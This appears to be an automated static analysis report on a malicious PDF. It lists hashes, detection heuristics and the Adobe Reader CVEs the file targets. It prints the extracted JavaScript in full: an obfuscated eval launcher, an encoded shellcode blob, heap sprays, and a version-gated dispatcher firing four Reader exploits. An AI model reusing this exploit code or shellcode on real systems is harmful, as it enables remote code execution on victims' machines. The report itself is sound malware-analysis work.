Malicious PDF — malware analysis report

Static analysis result for SHA-256 ae9cc8dfd5a86008…

MALICIOUS

PDF

29.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: ba037dceac772ed6d0e1f35de670c278 SHA-1: c697ce9c8b14efd301ee59f9b327a455f193e27f SHA-256: ae9cc8dfd5a8600815504fd0e68f2ffacd24cdf695ba3acafd534496f24ca03f
516 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The ML classifier strongly indicates maliciousness (0.999993). Static analysis reveals embedded JavaScript within the PDF, identified by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'ML_NYX_PDF_MALICIOUS' rule further supports this. The presence of 'String.fromCharCode' suggests obfuscation, a common technique for hiding malicious JavaScript. The extracted artifact 'javascript_obj0001_000.js' is the likely location of the malicious script, which is expected to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 630 bytes
SHA-256: c086dc8c6ea830f4b6f2d4dbd8e1178d303749d9f92faa09edd5d9582b32b4dc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
bwyn='';
var q2 = date.getFullYear()-2007;
atwfu='2011s'.replace(date.getFullYear(),'hi');
vnqq=('.tit2011').replace(date.getFullYear(),'le');
Function('','brkfg=t'+atwfu+vnqq)();
tcw=('sub2011').replace(date.getFullYear(),'ject');
Function('','cfmzf=t'+atwfu+'.'+tcw)();
var cfmzf=cfmzf.replace(date.getFullYear(),'al');
Function('','vxbl=t'+atwfu+'.'+cfmzf)();
rzx='.pro2011cer';
rzx=vxbl('rzx.replace(date.getFullYear(),"du")');
Function('','hjp=t'+atwfu+rzx)();
jlh=vxbl(hjp);
aep = vxbl(brkfg);
for (i = 0; i < aep.length; i++) {
	utop = aep[i];
	bwyn += jlh(utop);
}
vxbl(bwyn);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x345 3636 bytes
SHA-256: f683074893323376d0ccd1dca9b79d58db6bf5f5ea7230dd26d1ce2abd841aea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2134%ue2aa%uc3fa%ue5e8%uffff%uc8ff%u202d%u2121%ua07f%u7dcd%u2120%ua821%uacc6%u316e%u4eac%u1075%u76fa%u7270%u7272%u7272%u7272%u7274%u4972%u2025%u2121%u7774%u4972%u4f4e%u2121%u5449%u4d53%u754c%uaf49%u2f6f%uc9cd%u2169%u2121%uc971%u215d%u2121%uf1de%ue5a2%u4929%uce6e%u246e%uc971%u214d%u2121%uf1de%ue1a4%u3654%u754b%ud278%u498b%udf53%u3792%u3cc9%u2121%u7121%u70c9%u2121%ude21%u72f1%udf4b%ua849%u204e%uc99c%u2129%u2121%uc971%u211d%u2121%uf1de%u1041%u45e1%u71aa%uaa11%u2d73%u73aa%uaa35%u0953%u3998%u2121%u1021%u10de%u8de1%u401d%u235d%u010d%ueee0%u202c%uc3e6%ua0d1%u7ade%u6b9d%uaa4b%u3163%u33aa%uf854%u65a8%u3d05%ue240%uaa41%u054d%uaa05%u1d64%u75aa%u5924%ucb20%u6baa%uaa39%u017b%uca20%u15c2%uaa68%uaa15%ucf20%ude10%ue110%u8ddd%ue1a5%u2655%ueee0%u202c%ucae6%u1ad5%u055d%u5409%uaac0%u057b%uca20%uaa47%u6a2d%u7baa%u203d%uaaca%uaa25%uc920%u65a8%u3d05%ue340%u2129%ucec9%udedf%u49de%u5555%u1b51%u0e0e%u5054%u5b40%u4a44%u4f0f%u5544%u450e%u510f%u5149%u471e%u121c%u0714%u1c44%u2112';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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